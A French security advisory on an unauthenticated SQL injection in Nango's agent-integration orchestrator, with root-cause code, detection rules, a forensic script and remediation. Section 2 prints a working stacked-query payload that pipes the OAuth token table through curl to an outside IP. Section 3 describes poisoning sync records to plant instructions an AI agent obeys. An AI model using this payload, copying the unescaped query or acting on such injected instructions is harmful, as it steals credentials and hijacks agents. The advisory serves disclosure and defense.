CVE-2026-125759 : injection SQL PostgreSQL non authentifiée dans l'orchestrateur d'agents nango
Une vulnérabilité critique d'injection SQL non authentifiée (CVE-2026-125759) affecte l'orchestrateur d'intégrations Nango, composant central reliant les architectures d'agents autonomes d'entreprise (LangChain, AutoGen, CrewAI, Agno) à leurs outils SaaS (Slack, Salesforce, GitHub, Google Workspace). En transmettant une valeur malveillante dans le paramètre 'group.key' sur la route publique '/v1/immediate', un attaquant distant peut s'extraire de l'instruction PostgreSQL NOTIFY non paramétrée et exécuter des requêtes SQL empilées. Cette faille autorise l'exfiltration massive des jetons de rafraîchissement OAuth, la modification des tâches d'arrière-plan et l'empoisonnement des flux d'observations transmis aux agents d'intelligence artificielle. VulnCheck a confirmé l'armement d'un exploit le 11 novembre 2026. Hermes attribue un score HTS de 94 (CRITIQUE) et un score HASS de 95 (EXTRÊME).
HERMES THREAT SCORE & SÉCURITÉ DES AGENTS D'INTELLIGENCE ARTIFICIELLE
Cible :API de l'orchestrateur Nango, gestionnaire TaskEventsHandler et base de données PostgreSQL Le score standard CVSS v3.1 évalue cette vulnérabilité à 7.7 (Élevé). Hermes majore substantiellement la note à HTS 94 et lui associe un score HASS de 95 (EXTRÊME). Dans les déploiements d'intelligence artificielle actuels, Nango constitue le coffre-fort d'identifiants et la passerelle d'action des modèles LLM. La compromission de sa base PostgreSQL livre les jetons d'authentification de l'ensemble des applications d'entreprise, offrant aux attaquants la faculté d'agir sous couvert des identités des collaborateurs et d'empoisonner la mémoire des agents décisionnels.
1. Contexte opérationnel & présentation générale
Section intitulée « 1. Contexte opérationnel & présentation générale »La plateforme Nango est un orchestrateur d’intégrations et une passerelle d’API unifiée open source conçue pour gérer l’authentification OAuth, la synchronisation bilatérale de données et l’exécution d’actions vers des centaines de services logiciels (SaaS). Dans les écosystèmes d’intelligence artificielle modernes, Nango sert de couche d’outillage opérationnel pour les agents autonomes dotés de boucles de raisonnement (LangChain, AutoGen, CrewAI, Agno), automatisant l’accès aux données de production sur Slack, Salesforce, GitHub, HubSpot et Google Workspace.
Le 11 novembre 2026, l’équipe de recherche de VulnCheck a publié une alerte détaillée (CVE-2026-125759) confirmant l’armement d’un exploit contre les versions de Nango antérieures à 0.71.3. La vulnérabilité permet à un attaquant distant non authentifié de déclencher une injection SQL empilée au sein du serveur PostgreSQL à travers le paramètre group.key du point de terminaison /v1/immediate. En rompant la syntaxe de l’instruction interne NOTIFY, un adversaire peut s’approprier les jetons OAuth, manipuler l’état des connecteurs et injecter de fausses observations dans le contexte des agents d’entreprise.
2. Analyse de la cause racine & mécanique technique (CWE-89 / CWE-94)
Section intitulée « 2. Analyse de la cause racine & mécanique technique (CWE-89 / CWE-94) »La vulnérabilité se situe dans le module packages/orchestrator/src/services/TaskEventsHandler.ts. L’orchestrateur exploite le protocole d’événements asynchrones LISTEN / NOTIFY de PostgreSQL pour coordonner les processus de synchronisation.
sequenceDiagram autonumber participant Attaquant as Cyberattaquant distant participant API as API Orchestrateur Nango (POST /v1/immediate) participant Handler as Gestionnaire TaskEventsHandler.notify() participant PG as Base de données PostgreSQL (Port 5432) participant Agent as Nœud d'exécution de l'agent IA
Attaquant->>API: POST /v1/immediate (group.key forgé avec rupture SQL) API->>Handler: Transmission de la chaîne group.key Note over Handler: Concaténation non assainie : query = "NOTIFY canal, '" + cle + "'" Handler->>PG: Exécution de la requête SQL multi-instructions Note over PG: PostgreSQL évalue : NOTIFY canal, ''; UPDATE nango_connection SET ...; PG-->>Attaquant: Extraction des jetons OAuth et clés secrètes Attaquant->>API: Injection de données forgées dans les flux de synchro API->>Agent: Restitution de l'observation empoisonnée à l'agent LLM Note over Agent: L'agent exécute les consignes de l'attaquant via injection indirecteAbsence de paramétrage de la commande NOTIFY
Section intitulée « Absence de paramétrage de la commande NOTIFY »La commande PostgreSQL NOTIFY ne supporte pas nativement les marqueurs de paramètres préparés ($1, $2) dans les pilotes usuels comme pg ou slonik. Au lieu de faire appel à une fonction d’échappement rigoureuse (format('%L', ...)), la méthode TaskEventsHandler.notify() assemblait la requête au moyen d’une interpolation directe de chaîne :
// Implémentation vulnérable dans TaskEventsHandler.tsexport class TaskEventsHandler { async notify(channel: string, groupKey: string, payload: any): Promise<void> { const rawPayload = JSON.stringify({ groupKey, payload });
// ANOMALIE : interpolation directe sans validation ni échappement ! const query = `NOTIFY ${channel}, '${rawPayload}'`;
// Le pilote autorise l'enchaînement de requêtes multiples (stacked queries) await this.db.query(sql.raw(query)); }}Mécanisme d’exploitation par requêtes empilées
Section intitulée « Mécanisme d’exploitation par requêtes empilées »Le pilote de base de données acceptant l’enchaînement de requêtes séparées par des points-virgules, un attaquant peut fermer la chaîne littérale et annexer des commandes SQL arbitraires :
{ "group": { "key": "test'); COPY (SELECT id, provider, access_token, refresh_token FROM nango_connection) TO PROGRAM 'curl -d @- http://149.202.89.44:8000/tokens'; --" }}Lors de l’évaluation, le moteur PostgreSQL traite successivement :
- L’événement
NOTIFY canal, '... test'); - L’instruction
COPY ... TO PROGRAM, qui exécute une commande système pour transmettre l’ensemble de la table des jetons de connexion à l’infrastructure de l’attaquant.
3. Surface d’attaque & vecteurs d’exploitation
Section intitulée « 3. Surface d’attaque & vecteurs d’exploitation »L’impact sur les chaînes de traitement d’agents autonomes est particulièrement aigu :
- Accessibilité de la route de déclenchement immédiat :
Dans les déploiements conteneurisés par défaut, le port de l’orchestrateur (
3003) ou la route/v1/immediateest accessible sans jeton d’authentification pour permettre aux services tiers d’ordonnancer des tâches. - Siphonnage universel des secrets SaaS d’entreprise :
Les tables
nango_connectionetnango_credentialscentralisent les jetons de rafraîchissement OAuth 2.0 et les clés d’API donnant accès aux espaces Google Drive, Slack, GitHub ou Salesforce de l’organisation. L’attaquant dispose alors des mêmes autorisations que l’agent ou les collaborateurs. - Empoisonnement de contexte et injection indirecte de prompt :
En modifiant le contenu des enregistrements synchronisés (
nango_sync_records), un attaquant peut glisser des instructions textuelles masquées dans les observations de l’agent. Lors de sa prochaine analyse, le modèle de langage interprétera ces instructions comme des ordres système légitimes, détournant ses actions (exfiltration de courriels, modification de droits cloud).
4. Chronologie forensique & chaîne d’exécution
Section intitulée « 4. Chronologie forensique & chaîne d’exécution »flowchart TD A["T0 : Découverte de l'API Nango"] -->|"Sonde POST /v1/immediate"| B["Rupture syntaxique SQL dans group.key"] B -->|"Exécution de la requête NOTIFY malveillante"| C["PostgreSQL exécute la requête empilée"] C -->|"Exfiltration de la table nango_connection"| D["Récupération des jetons de rafraîchissement OAuth"] D -->|"Usurpation des accès SaaS de l'entreprise"| E["Accès direct aux API Slack / GitHub / Salesforce"] E -->|"Altération des données de synchronisation"| F["Injection d'observations empoisonnées"] F -->|"Exécution par l'agent décisionnel"| G["Détournement d'actions et compromission interne"]Dans le cadre d’un audit forensique sur une infrastructure Nango, les étapes d’investigation suivantes sont recommandées :
- Étape 1 : analyse des requêtes web d’entrée :
Passer au crible les journaux de proxy inverse (Nginx, Caddy, Ingress K8s) pour repérer les requêtes POST vers
/v1/immediatecontenant des caractères tels que',;,--ou des mots-clés SQL (COPY,SELECT,pg_sleep). - Étape 2 : examen des journaux PostgreSQL :
Consulter les fichiers
/var/log/postgresql/postgresql-*.logpour identifier des erreurs de syntaxe à proximité deNOTIFYou des appels anormaux à la fonctionCOPY ... TO PROGRAM. - Étape 3 : surveillance des connexions SaaS anormales : Vérifier auprès des fournisseurs SaaS (Google Workspace, GitHub, Salesforce) si les jetons d’application émis pour Nango ont été employés depuis des plages d’adresses IP inhabituelles.
5. Détection technique & requêtes de chasse
Section intitulée « 5. Détection technique & requêtes de chasse »title: Injection SQL sur l'orchestrateur Nango (CVE-2026-125759)id: f1829e12-8419-4b67-9c88-1928bc174829status: experimentaldescription: Détecte les tentatives d'injection SQL visant le point d'entrée /v1/immediate de l'orchestrateur Nango.author: Hermes Cyber Risk Intelligencereferences: - https://vulncheck.com/advisories/nango-before-0.71.3-sql-injection-via-orchestrator-task-group-key - https://github.com/NangoHQ/nangotags: - attack.initial_access - attack.t1190 - attack.credential_access - attack.t1552.001logsource: category: webserver product: nangodetection: selection: cs-method: 'POST' cs-uri-stem|contains: - '/v1/immediate' - '/v1/schedule' cs-body|contains: - "';" - "');" - '--' - 'COPY ' - 'pg_sleep' - 'SELECT ' condition: selectionfalsepositives: - Extrêmement improbable. Les clés de tâches Nango légitimes adoptent une nomenclature alphanumérique standard.level: critical-- Détection des requêtes NOTIFY anormales dans pg_stat_statementsSELECT query, calls, total_exec_time, min_exec_time, max_exec_timeFROM pg_stat_statementsWHERE query ILIKE '%NOTIFY%' AND (query ILIKE '%;%SELECT%' OR query ILIKE '%;%COPY%' OR query ILIKE '%;%UPDATE%')ORDER BY total_exec_time DESC;// Détection des requêtes d'injection SQL adressées aux orchestrateurs d'agents IAAppServiceHTTPLogs| where TimeGenerated >= ago(7d)| where CsMethod =~ "POST" and CsUriStem has_any ("/v1/immediate", "/v1/schedule")| where ScStatus in (200, 500)| where CsBytesReceived > 100| project TimeGenerated, CIp, CsMethod, CsUriStem, ScStatus, CsUserAgent| extend Alerte = "Tentative d'injection SQL sur l'orchestrateur Nango (CVE-2026-125759)"index=containers sourcetype=nango:orchestrator| search ("syntax error at or near" OR "NOTIFY nango_events") AND ("SELECT" OR "COPY" OR "UPDATE")| stats count by _time, pod_name, container_name, error_message| table _time, pod_name, container_name, error_message, count#!/usr/bin/env bash# Script d'audit forensique pour Nangoecho "=== [1] Recherche d'artéfacts d'injection SQL dans les journaux PostgreSQL ==="grep -Ei "(syntax error.*NOTIFY|COPY.*PROGRAM|pg_sleep)" /var/log/postgresql/*.log 2>/dev/null | tail -n 25
echo "=== [2] Contrôle des privilèges de l'utilisateur de base de données ==="psql -U postgres -d nango -c "SELECT usename, usesuper, usecreatedb FROM pg_user;" 2>/dev/null
echo "=== [3] Examen des récentes modifications de la table des connexions ==="psql -U postgres -d nango -c "SELECT id, provider, updated_at FROM nango_connection ORDER BY updated_at DESC LIMIT 10;" 2>/dev/null6. Remédiation & durcissement
Section intitulée « 6. Remédiation & durcissement »- Mise à niveau immédiate vers nango 0.71.3 :
Déployer sans délai la version 0.71.3 ou supérieure pour l’ensemble des conteneurs du serveur et de l’orchestrateur. Cette mise à jour intègre un échappement rigoureux par la bibliothèque
pg-format. - Révocation et régénération complète des jetons SaaS : La base de données hébergeant les jetons OAuth en clair ou avec des clés accessibles, considérer que l’ensemble des identifiants a été compromis. Révoquer les autorisations sur les consoles SaaS (Google Cloud, Microsoft Entra ID, GitHub, Salesforce, Slack) et inviter les utilisateurs à se réauthentifier.
- Cloisonnement réseau strict de l’orchestrateur :
Le port d’orchestration (
TCP 3003//v1/immediate) doit être cantonné au réseau interne du cluster conteneur (127.0.0.1ou pont Docker privé) et ne jamais être exposé directement sur internet. - Application du principe de moindre privilège sur la base PostgreSQL :
Retirer les privilèges
SUPERUSERau rôle applicatif utilisé par Nango afin de bloquer l’usage de directives dangereuses telles queCOPY ... TO PROGRAM.